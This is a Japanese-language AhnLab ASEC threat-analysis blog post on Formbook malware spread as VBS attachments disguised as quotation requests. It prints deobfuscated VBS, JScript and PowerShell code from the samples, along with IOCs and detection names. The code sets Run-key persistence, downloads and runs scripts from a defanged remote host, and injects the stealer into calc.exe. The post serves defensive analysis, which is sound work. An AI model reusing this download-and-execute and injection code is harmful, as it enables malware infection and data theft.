ASEC
  • マルウェアの情報
  • AhnLab 検知
  • 総計
  • 対応ガイド
  • AhnLab
Posted By ATCP , 2022년 02월 28일

見積書偽装マルウェアの配布方式における変化 (VBS スクリプト)

ASEC 分析チームは、昨年に特定会社の名前が含まれたファイル名によって配布されていた Formbook マルウェアが、最近 VBS ファイルによって配布されていることを確認した。配布が確認されたメールには以前と同様、見積書の要請に関する内容が記載されており、添付ファイル名には特定会社の名前を含むことで、ユーザーが添付ファイルを開くように誘導している。

図1.電子メール1
図2.電子メール2

メールに添付された圧縮ファイルには、実行ファイルではなく VBS ファイルが存在する。

図3.添付された圧縮ファイルの内部

この不正なファイルは、同じ会社名で配布日付のみ異なるファイル名で配布されていることが確認されている。現在までに配布が確認されたファイル名は以下の通りである。

  • 韓*産業開発(2022.02.03).pdf.vbs 
  • 韓*産業開発(2022.02.04).pdf.vbs
  • 韓*産業開発(2022.02.07).pdf.vbs
  • 韓*産業開発(2022-02-10).pdf.vbs
  • 韓*産業開発(2022.02.16).pdf.vbs
  • 韓*産業開発(2022.02.17).vbs
  • 韓*産業開発(2022.02.21).vbs

韓*産業開発(2022.02.21).vbs は、特定の値が難読化されている。難読化を解除すると、以下のように Run キー登録および特定 URL に接続する機能を実行するコードが確認できる。

Sub eQACeDnGd()
Const zTZPNQXZ = &H80000001
Set izXSnKvcF=Eval("GetObject(WSBI() + ""default:StdRegProv"")")
Cso = "Software\Microsoft\Windows\CurrentVersion\Run"
Fklft = "jtZsps"
XqTs = "C:\Users\[UserName]\Music\" + [スクリプトファイル名]
izXSnKvcF.SetStringValue zTZPNQXZ,Cso,Fklft,XqTs
End Sub

Sub FRgMMrSnNR()
On Error Resume Next
 Set uVzfiIPoT = Eval("GetObject(new:F5078F32-C551-11D3-89B9-0000F81FE221)") 'MSXML2.DOMDocument.3.0의 CLASSID
 uVzfiIPoT.async = False
 Execute("uVzfiIPoT.Load hxxp://wisewomanwarrior[.]com/wp-admin/self2.jpg")
 Execute("uVzfiIPoT.transformNode (uVzfiIPoT)")
End Sub

したがって、VBS ファイルを開くと hxxp://wisewomanwarrior[.]com/wp-admin/self2.jpg に接続して、その URL に存在する追加スクリプトが実行される。その後 HKCU\Software\Microsoft\Windows\CurrentVersion\Run\jtZsps レジストリに C:\Users\[UserName]\Music\韓*産業開発(2022.02.21).vbs を追加して不正なスクリプトが持続的に実行されるようにする。

また、以下のコマンドを実行してレジストリに登録された C:\Users\[UserName]\Music\ フォルダーに、同じファイル名で自己複製を行う。

  • cmd /c copy “韓*産業開発(2022.02.21).vbs” “C:\Users\[UserName]\Music” /Y

hxxp://wisewomanwarrior[.]com/wp-admin/self2.jpg には以下のようなスクリプトコードが存在し、この URL に接続すると PowerShell が実行される。

<xsl:stylesheet version="1.0"
      xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
      xmlns:msxsl="urn:schemas-microsoft-com:xslt"
      xmlns:user="http://mycompany.com/mynamespace">

 <msxsl:script language="JScript" implements-prefix="user">
<![CDATA[
-中略-
var yy=r.ShellExecute("powershell.exe",eioerhidfsg44g00ggg("2474303D27444535272E7265706C616365282744272C274927292E7265706C616365282735272C277827293B73616C2067202474303B2467663D2830303130303130302C30313030303130312C3031313130303130
-中略-
function eioerhidfsg44g00ggg(hex) {
    var str = '';
    for (var i = 0; i < hex.length; i += 2) {
        var v = parseInt(hex.substr(i, 2), 16);
        if (v) str += String.fromCharCode(v);
    }
    return str;
} 

難読化されている PowerShell コマンドは、最終的に以下のコマンドを実行し hxxp://wisewomanwarrior[.]com/wp-admin/self1.jpg から追加スクリプトを受け取る。

$t0='IEX';
sal g $t0;
$gf="$ErrorActionPreference = 'SilentlyContinue';
$t56fg = [Enum]::ToObject([System.Net.SecurityProtocolType], 3072);
[System.Net.ServicePointManager]::SecurityProtocol = $t56fg;
Add-Type -AssemblyName Microsoft.VisualBasic;do {$ping = test-connection -comp google.com -count 1 -Quiet} until ($ping);
$tty=g('(New-Object Net.WebClient)');
$mv= [Microsoft.VisualBasic.Interaction]::CallByname($tty,'DownloadString',[Microsoft.VisualBasic.CallType]::Method,'hxxp://wisewomanwarrior[.]com/wp-admin/self1.jpg')|g" | %{ [System.Text.Encoding]::UTF8.GetString([System.Convert]::ToInt32($_,2)) };
g([system.String]::Join('', $gf))

hxxp://wisewomanwarrior[.]com/wp-admin/self1.jpg には難読化された PowerShell コマンドと圧縮ファイルデータが存在する。このスクリプトは、圧縮された状態で存在するデータの圧縮を解除して特定プロセスにインジェクションする機能を実行する。

$eqCH=(01100110,01110101,01101110,01100011,<省略> ,01111101) | %{ [System.Text.Encoding]::UTF8.GetString([System.Convert]::ToInt32($_,2)) };I`E`X([system.String]::Join('', $eqCH)) ‘압축해제 관련 파워쉘 스크립트(翻訳:圧縮解除関連 PowerShell スクリプト)
[Byte[]]$MNB=('_<1F,_<8B,_<08, <省略>,_<00'.replace('_<','0x'))|g;
[byte[]]$FFCgPVE =  tMCfkSD $MNB
[Byte[]]$uiMz=('_<1F,_<8B,_<08, <省略> ,_<02,_<00'.replace('_<','0x'))|g
$ayy = [Microsoft.VisualBasic.Interaction]::CallByname([AppDomain]::CurrentDomain,"Load",[Microsoft.VisualBasic.CallType]::Method,$FFCgPVE)
[toooyou]::Black('calc.exe',$uiMz)

上記スクリプトを実行すると、$MNB 変数に保存される .Net 実行ファイルの内部に存在する関数を利用し、$uiMz に存在するデータを calc.exe にインジェクションする。

図4.当社 RAPIT システムで確認されたプロセスツリー

インジェクションされたデータは、インフォスティーラー型マルウェアの Formbook である。正常なプロセスの explorer.exe および system32 パスにある別の正常なプロセスにインジェクションして動作し、C&C との接続によってユーザー情報を窃取する。

  • C&C : hxxp://www.bumabagi[.]com/p7n9/

見積書に偽装したマルウェアは以前から拡散が続いており、ユーザーの注意が必要である。また、上記のように実在する会社名で不正なファイルを配布してくるため、まずは送信者を確認し、不明な送信者からのメールに含まれた添付ファイルやリンクを開かないようにしなければならない。

現在 AhnLab 製品では、以下のようにこのマルウェアを検知している。

[ビヘイビア検知およびメモリ検知]

  • Malware/MDP.Inject.M3044
  • Malware/MDP.Inject.M3509
  • Ransom/MDP.BlueCrab.M3544
  • Trojan/Win.Formbook.XM89

[ファイル検知]

  • Downloader/VBS.Generic

[IOC 情報]

  • f7918d4a953248d4878f0332bd235a53 (VBS)
  • 23c238466940b27bf287dccaf3407923 (VBS)
  • cdfbfe783f4b40bdb86c1ac3bc126596 (VBS)
  • hxxp://wisewomanwarrior[.]com/wp-admin/self2.jpg
  • hxxp://wisewomanwarrior[.]com/wp-admin/self2.jpg
  • hxxp://www.bumabagi[.]com/p7n9/

関連 IOC および詳細な解析情報は、AhnLab の次世代脅威インテリジェンスプラットフォーム「AhnLab TIP」サブスクリプションサービスを通して確認できる。

Categories: マルウェアの情報

Tagged as: 見積書, Formbook, VBScript

新種の情報窃取型マルウェア「ColdStealer」が拡散中
脆弱な MS-SQL サーバーをターゲットに拡散している CoinMiner

Archives

  • Facebook
  • RSS Feed
follow us in feedly
 

Loading Comments...